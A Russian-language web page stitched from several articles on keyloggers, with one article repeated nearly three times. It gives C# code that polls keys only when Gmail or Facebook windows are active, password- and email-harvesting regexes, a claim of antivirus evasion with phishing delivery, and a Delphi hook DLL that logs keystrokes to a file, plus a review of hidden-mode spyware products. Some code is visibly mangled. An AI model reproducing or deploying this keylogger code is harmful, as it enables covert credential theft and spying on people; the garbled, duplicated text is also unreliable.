Кейлоггер, или что он набирал на клавиатуре?              Лаборатория информационной безопасности Пишем кейлоггер на c.

24.06.2020

Хакерский мир можно условно разделить на три группы атакующих:


1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.


2) «Byuers» - не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.


3) «Black Hat Сoders» - гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.


Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.


Зачем ИБ-персоналу эти сомнительные навыки?


Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.


Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.


Кейлогер


Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.


Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.



Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:


1. 2. 3. public static extern int GetAsyncKeyState(Int32 i);

Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN :


Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:


1. while (true) 2. { 3. Thread.Sleep(100); 4. for (Int32 i = 0; i < 255; i++) 5. { 6. int state = GetAsyncKeyState(i); 7. if (state == 1 || state == -32767) 8. { 9. Console.WriteLine((Keys)i); 10. 11. } 12. } 13. }

Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.


Умный кейлогер

Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.


Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.


Вторая версия кода:


1. while (true) 2. { 3. IntPtr handle = GetForegroundWindow(); 4. if (GetWindowText(handle, buff, chars) > 0) 5. { 6. string line = buff.ToString(); 7. if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up ")) 8. { 9. //проверка клавиатуры 10. } 11. } 12. Thread.Sleep(100); 13. }

Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.


Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.


Еще более умный кейлогер


Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.


Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:


1. //Ищем почтовый адрес 2. ^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$ 3. 4. 5. //Ищем пароль 6. (?=^.{6,}$)(?=.*\d)(?=.*)

Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.


Для C# это выглядит так:


1. Regex re = new Regex(@"^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$"); 2. Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*\d)(?=.*)"); 3. string email = "[email protected]"; 4. string pass = "abcde3FG"; 5. Match result = re.Match(email); 6. Match result2 = re2.Match(pass);

Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.


Бесплатно и полностью не обнаружим


В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.


Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?


Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.



В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.


Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов , чтобы выявить потенциально вредоносные действия.


В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.

Хакерский мир можно условно разделить на три группы атакующих:


1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.


2) «Byuers» - не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.


3) «Black Hat Сoders» - гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.


Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.


Зачем ИБ-персоналу эти сомнительные навыки?


Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.


Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.


Кейлогер


Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.


Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.



Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:


1. 2. 3. public static extern int GetAsyncKeyState(Int32 i);

Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN :


Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:


1. while (true) 2. { 3. Thread.Sleep(100); 4. for (Int32 i = 0; i < 255; i++) 5. { 6. int state = GetAsyncKeyState(i); 7. if (state == 1 || state == -32767) 8. { 9. Console.WriteLine((Keys)i); 10. 11. } 12. } 13. }

Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.


Умный кейлогер

Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.


Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.


Вторая версия кода:


1. while (true) 2. { 3. IntPtr handle = GetForegroundWindow(); 4. if (GetWindowText(handle, buff, chars) > 0) 5. { 6. string line = buff.ToString(); 7. if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up ")) 8. { 9. //проверка клавиатуры 10. } 11. } 12. Thread.Sleep(100); 13. }

Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.


Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.


Еще более умный кейлогер


Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.


Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:


1. //Ищем почтовый адрес 2. ^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$ 3. 4. 5. //Ищем пароль 6. (?=^.{6,}$)(?=.*\d)(?=.*)

Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.


Для C# это выглядит так:


1. Regex re = new Regex(@"^[\w!#$%&"*+\-/=?\^_`{|}~]+(\.[\w!#$%&"*+\-/=?\^_`{|}~]+)*@((([\-\w]+\.)+{2,4})|(({1,3}\.){3}{1,3}))$"); 2. Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*\d)(?=.*)"); 3. string email = "[email protected]"; 4. string pass = "abcde3FG"; 5. Match result = re.Match(email); 6. Match result2 = re2.Match(pass);

Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.


Бесплатно и полностью не обнаружим


В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.


Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?


Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.



В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.


Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов , чтобы выявить потенциально вредоносные действия.


В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.

О написании клавиатурных шпионов
рассказывалось уже неоднократно, но все они
имеют один большой недостаток - как правило,
требуется узнать весьма ограниченную
информацию, а не записывать в файл лога все,
что юзер пишет на клавиатуре - вряд ли тебе
даст много пищи для размышлений логи
нажатия на кнопки при игре в CS 😉

Отсюда следует, что шпион должен быть
продвинутым, а не тупо писать в лог все, что
ему дают 🙂 Даже назвать такую программу
шпионом язык не поворачивается - это почти
электронный агент 007:-))) Путей для того,
чтобы программа писала в лог интересующий
нас материал много. Самый простой -
контролировать активные окна, т.е. в которых
в данный момент давятся кнопки 🙂 Как ты,
думаю, знаешь, шпионы как правило состоят из
исполняемого файла и DLL. Это связано с тем,
что для перехвата сообщений к окну
требуется создать новый ПРОЦЕСС, и самое
удобное для этого - использовать dll-ку.
Поэтому для того, чтобы активировать
собственно сам логгер, нужно будет в нужный
момент загрузить DLL, а когда активное окно
сменится на иное - выгрузить ее из памяти.

Рассмотрим функции работы с DLL в языке Visual
C++. Загрузка в память длл-ки производится
функцией hINSTAGE=LoadLibrary("name.dll"), где hINSTAGE -
как бы дескриптор загруженной в память DLL,
name.dll - имя библиотеки. Чтобы ее выгрузить,
существует функция FreeLibrary(hINSTAGE);

Теперь о том, как можно нужные нам
приложения. Например, нам известно, что юзер
читает почту через сайт www.mail.ru, тогда можно
настроить агента так, чтобы он перехватывал
нажатия клавиш, когда юзер зайдет на этот
сайт. (Следует помнить, что в некоторых
приложениях шпион клавиатуры вообще не
может работать, например в адресной строке
Internet Explorer"a - это приводит к "аварийному
завершению программ" - а чего иного ты от
Windows хотел:))) Для этого способа вполне
подойдет и чтение паролей из "звонилки"
- если юзер страдает паранойей и каждый раз
вводит логин и пасс вручную 🙂 Или тебе очень
интересно узнать что же он пишет в Outlook"e или
в блокноте. Вот часть кода, выполняющая
сравнение заголовков окон с нужными нам.

HINSTAGE hINSTAGE;

while (1)
{
//Запускаем цикл.

int sl,ll;
ll=1;
sl=2;
//переменные для
счетчик
а.
char st;
HWND hw;
//Идем самым простым
путем - сравниваем посимвольно строки:
полученный заголовок окна и с нужном нам
строкой.

while (ll!=sl)
{

hw=GetForegroundWindow();
GetWindowText(hw,st,128);// читаем

char stt="_Здесь пишем заголвок нужного
нам окна_№1";

sl=strlen(stt);
ll=0;
while (stt==st)
//cравниваем
посимвольно строки
//это удобнее делать с той позиции, что будет
проверяться, вхордит ли нужная
//нам строка как часть в другую строку, можно
сделать подобие //широкого фильтра.

{
ll++;
}

if (ll==sl) {//если строки
совпадают до конца 1-ой строки -

halt; //прерываем процесс
}
// и так далее - если
нужно проверить на наличие нескольких окон.

char stt="_Здесь пишем заголвок нужного
нам окна_№2";
sl=strlen(stt);
ll=0;
while (stt==st)
{
ll++;
}

if (ll==sl) {
halt; //прерываем процесс
}

Вместо последовательной проверки можно
сделать параллельную, когда сравниваются в
одном цикле элементы строк, если хоть одна
совпала - тогда DLL-шпион активизируется.

hINSTAGE=LoadLibrary("key1.dll");

Теперь нам нужно все время проверять,
остается ли данное окно активным.

while (ll==sl) //пока
строки совпадают - крутимся на месте

{
hw=GetForegroundWindow();
GetWindowText(hw,st,128);
// читаем
активное на данный момент окно.

ll=0;
while (stt==st)
{
ll++;
}
}

Выход из цикла говорит о том, что активное
окно сменилось, поэтому далее выгружаем "шпионскую"
библиотеку и цикл начинается с начала - т.е.
прога опять ждет, когда выпадет одно из
нужных окон.

FreeLibrary(hINSTAGE);

Однако же вышеописанный способ имеет и
недостатки - требуется каждый раз проверять
из целого списка окон является ли нужное
нам активным на данный момент. Поэтому
можно юзать другой алгоритм - проверять не
заголовок окна, а смотреть, если в данном
окне элементы типа EditBox"а. Как правило,
пароли пишутся именно там 🙂 Для этого будет
смотреть на элементы этого окна - и если
среди них есть Edit - тогда грузим DLL.

char p2,p3; //массивы
символов для заголвков окон.

Опять таки в циклe проверяем все окна:

while (p3!="Edit") //пока
не нашли окно с едитбоксом - выполняем цикл

{

hw=GetForegroundWindow();

HWND hwnd_child;//переменная
элемента окна

hwnd_child = GetWindow(hw,GW_CHILD);
GetClassName(hwnd_child,p3,128);
if (p3!="Edit")
//если первый из
найденных элементов окна- не EditBox - тогда
ищем дальше

{
while (hwnd_child!=0)
{
hwnd_child = GetWindow(hwnd_child, GW_HWNDNEXT);

GetClassName(hwnd_child,p3,128);
if (p3=="Edit")
{
halt;
}
}
}
}

Теперь собственно о самой шпионской DLL.
Писать ее лучше на Дельфях, потому как этот
возмужавший потомок Паскаля не имеет столь
извращенной "Сипипишной" привычки
придирки к типам данных. Чтобы создать
библиотеку выберем File-New-Direct Link Library - и
заготовка для DLL готова. А вот сам код:

library key1;
uses Windows;

var
KHook: HHOOK;//переменная для
"ловушки"

function KProc(Code: integer; wParam: Word; lParam: LongInt): LongInt; stdcall;
const
KState: integer = 1073741824; //код
"клавиша нажата"

var
Simv: ShortString;
KL: array of Char;//для
проверки раскладки клавы

FStruct: TOFSTRUCT;
F: TextFile;
//переменная
файла для записи лога.

begin

// отсеиваем лишние
сообщения
if (lParam and KState) <> 0 then
begin

Exit;
end;

AssignFile(F, "keylog.txt");

// пытаемся открыть
файл "keylog.txt":
if OpenFile(PChar("keylog.txt"), FStruct, OF_EXIST) = HFILE_ERROR then
begin
ReWrite(F);
// если файл не
создан - создаем.

end
else Append(F);
//если есть - пишем в
конец.

Simv:=chr(0);//обнуляем
переменную символа, читающегося с клавы.

// анализируем код
нажатой клавиши
case wParam of
// цифры
48..57: Simv:=Chr(wParam);
96: Simv:="0";
97: Simv:="1";
...
104: Simv:="8";
105: Simv:="9";
189,109: Simv:="-";
110: Simv:=".";
111: Simv:="/";
end;

GetKeyboardLayoutName(KL); //
проверяем раскладку

if KL = "00000409" then // если
латинская:

begin
case wParam of
219: Simv:="[";
221: Simv:="]";
186: Simv:=";";
222: Simv:=""";
188: Simv:=",";
190: Simv:=".";
191: Simv:="/";
65..90: Simv:=Chr(wParam);
end;
end;
end;
if KL = "00000419" then
// если
русская

begin
case wParam of
219: Simv:="Х";
221: Simv:="Ъ";
186: Simv:="Ж";
222: Simv:="Э";
188: Simv:="Б";
190: Simv:="Ю";
191: Simv:=".";
65: Simv:="Ф";
...
87: Simv:="Ц";
88: Simv:="Ч";
89: Simv:="Н";
90: Simv:="Я";
end;

//если символ не пустой(т.е.
если была нажата буквенно-цифровая клавиша)
//тогда пишем его в файл
if Simv<>"" then
Write(F, Simv);
//закрываем файл
CloseFile(F);

// передаем сообщение
другим ловушкам в системе
Result:=CallNextHookEx(KHook, code, wParam, lParam);
end;

begin
//Установить ловушку
для перехвата сообщений о клавиатуры.

KHook:=SetWindowsHookEx(WH_KEYBOARD, @KProc, HInstance, 0);

Так же эту программу можно упростить в
зависимости от области применения - если
допустим нужно только считать один раз
пароль из звонилки - тогда можно поставить
проверку на окна до нужного нам, и когда оно
станет активным - загрузить библиотеку
key1.dll, подождать определенное время, за
которое юзер успеет набить эти символы на
клавиатуре, а затем выгрузить библиотеку и
завершить программу. Примерно так 🙂

hINSTAGE=LoadLibrary("key1.dll");
Sleep(10000);
//ждать 10 секунд, за это
время юзер наберет пароль.
//время может быть увеличено в зависимости
от степени заторможенности юзера
// и его скрости печатанья на клаве 🙂

FreeLibrary(hINSTAGE);

PS: Весь вышеперечисленный материал был дан
исключительно с демонстрационными и
общеобразовательными целями, автор ставил
перед собой задачу продемонстрировать
алгоритм работы программы типа "апгрейженный
клавиатурный шпион" и вся
ответственность за использования этого
материала ложится на тебя (непосильным
бременем 🙂) В реализации кода присутствуют
мелкие неточности, не вредящие собственно
алгоритму - попробуй найти их сам)).

PSS: Конечно же кейлоггер может не только
выполнять свою основную функцию -
собственно писать в лог нажатия кнопок, но и
изменять значения нажатых клавиш по твоему
вкусу - но как это сделать и для чего это
может быть просто жизненно необходимо - в
следующий раз 🙂

Кейлоггер или что такое клавиатурный шпион.

Кейлоггер – небольшой по размерам компонент оборудования или программа, целью которых является одно: перехватить набранные с клавиатуры жертвой символы. Одна из самых неприятных для юзера программ, которая используется хакерами для подделки цифровой идентификации добросовестного пользователя.

Основанный на использовании специального оборудования кейлогер (как слева – в разрез провода клавиатуры) редко используется, требует профессиональных навыков в установке и обслуживании. И напротив, его не так трудно обнаружить, а потому о нём поговорим как-нибудь в другой раз. А сейчас расскажу о перехватчиках в виде программного обеспечения, которые могут «работать» в вашей системе продолжительное время, а вы даже о том не догадываться. О том, как определять, не запущен ли кейлогер на компьютере, поговорим в конце статьи. Приступим к тому, что сегодня есть в сети по этой теме. В интернете, как и ожидалось, этого добра немало. Есть бесплатные программы, есть и оплачиваемые версии.

Для чего нужен кейлоггер?

Специфика программы не оставляет тени сомнения на применение таких утилит: она позволяет шпионить за пользователем, передавая напечатанные на клавиатуре символы. Другой вопрос: кем и против кого?

  • вполне понятна забота родителей о путешествующих по сети чадах, чья сетевая деятельность начинает беспокоить отца и мать, которые не желают, однако, открыто идти на конфликт с ребёнком, запрещая всё и вся. Не раз такие утилиты просто выручали, сигнализируя о появлении у ребёнка в социальной сети друга, который «немного» старше и собирается реализовать свои больные фантазии.
  • вполне законно желание работодателя, когда он хочет убедиться, что работник тратит своё время за компьютером с пользой. И, если оно не так, предъявить претензии доказательно. Заодно убедиться, что пара секретов не «ушла на сторону».
  • наконец, незаконное подключение к компьютеру пользователя с целю украсть набираемые пароли, логины и прочее.

Кейлоггер Free keylogger .

Может перехватывать символы с клавиатуры, данные, содержащиеся в буфере обмена и сетевые адреса из адресной строки браузера. Есть парочка незаметных функций, например, скрытый режим работы (Ctrl+Shift+Alt+U), удаление ярлыков программы и сокрытие из списка установленных и удаляемых программ. Минус программы: в бесплатной её версии самую важную функцию – сокрытие от глаз пользователя – включить не удастся. Автозапуск в Windows возможен, однако запущенная программа будет предательски помигивать из трея. Скрыть от глаз не получится – выскакивает окно с уведомлением о том, что функция доступна в платной версии. Как и некоторые другие.

Единственное окно программы, где:

  1. Позволит программе запуститься сразу со стартом системы
  2. Спрячет программу в меню Пуск
  3. Позволит перехватывать ещё и адреса в браузере и (правее) названия запущенных программ
  4. Ежедневно буде оповещать по указанному в поле почтовому адресу

При установке несколько минут придётся побороться с антивирусом, ибо от него ни настройка, ни запуски утилиты не ускользнут.

Кейлоггер DanuSoft

Простенький и бесплатный. Также представлен в виде окна с 4-мя вкладками. Может спрятаться по введению секретного слова. По умолчанию это HIDEKEY (спрятать ключ), и можно заставить появиться SHOWKEY (показать).

Во вкладке Log File Settings можно указать размер документа с перехваченными записями и, собственно, показать его самого. Во вкладке Startup Settings всего 2 настройки: запуск вместе с Windows и режим невидимки.

Кейлоггер

Очередная простенькая программа. После установки вас встретит красочное окошечко. Функционал беден, сама по себе не прячется. Зато бесплатно. Сразу после установки попросит установить пароль, чтобы информация после перехвата стала доступна только установщику:

Окно самой программы:

Кейлоггер REFOG Free Keylogger

Бесплатная версия программы, производитель которой изрядно поднаторел в таких программах, способна перехватывать набранные символы, посещённые сайты, запущенные программы. Однако сразу предупреждаю – у немалого числа пользователей возникали трудности с удалением программы, особенно платной версии, так что пробуйте её на свой страх и риск. По этой ссылке вы можете скачать последнюю версию программы .

Кейлоггер Revealer Keylogger Free

Одна из самых популярных программ в сети. Функций немало, проста в применении. Защищена паролем, в системном трее не висит, не видно и в настройке по установке и удалению программ. Устанавливать следует внимательно, так как к установке на компьютер просится ещё какая-то программа. Снимки с экрана будут доступны только в оплачиваемой версии. При закрытии предупредит, что будет продолжать работать фоном (вернуть можно с помощью Ctrl+Alt+F9). Программа русифицирована, так что в настройках разберётесь быстро:

Кейлоггер KidLogger

Бесплатный, с открытым кодом. Это уже умеет работать с USB устройствами. Записывает звук с микрофона, работает со Skype. Лог-файлы можно просматривать локально и удалённо с помощью специально созданного аккаунта в сети. Работает в скрытом режиме, однако наблюдается из Диспетчера задач. Можно защитить паролем, но запускать придётся с ярлыка, что в принципе не проблема, прописав запуск в автозагрузке с windows. Скачать можно по ссылке и там же выбрать нужную операционную систему (у меня в архиве windows-версия):

Кейлоггер Actual Keylogger

В отличие от предыдущих программ, абсолютно невидим. Его нельзя разглядеть и в Диспетчере, папка с программой окажется скрыта, ярлыки не высвечиваются. Удалить через традиционный деинсталлятор вы также его не сможете. Очень хитрая вещь. Также имеет защиту паролем. Антивирусы его очень не любят. Есть у меня в архиве. Но программа платная, установите и ознакомьтесь с возможностями.

Прочитано: 438

Хакерский мир можно условно разделить на три группы атакующих:


1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.


2) «Byuers» - не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.


3) «Black Hat Сoders» - гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.


Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.


Зачем ИБ-персоналу эти сомнительные навыки?


Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.


Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.


Кейлогер


Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.


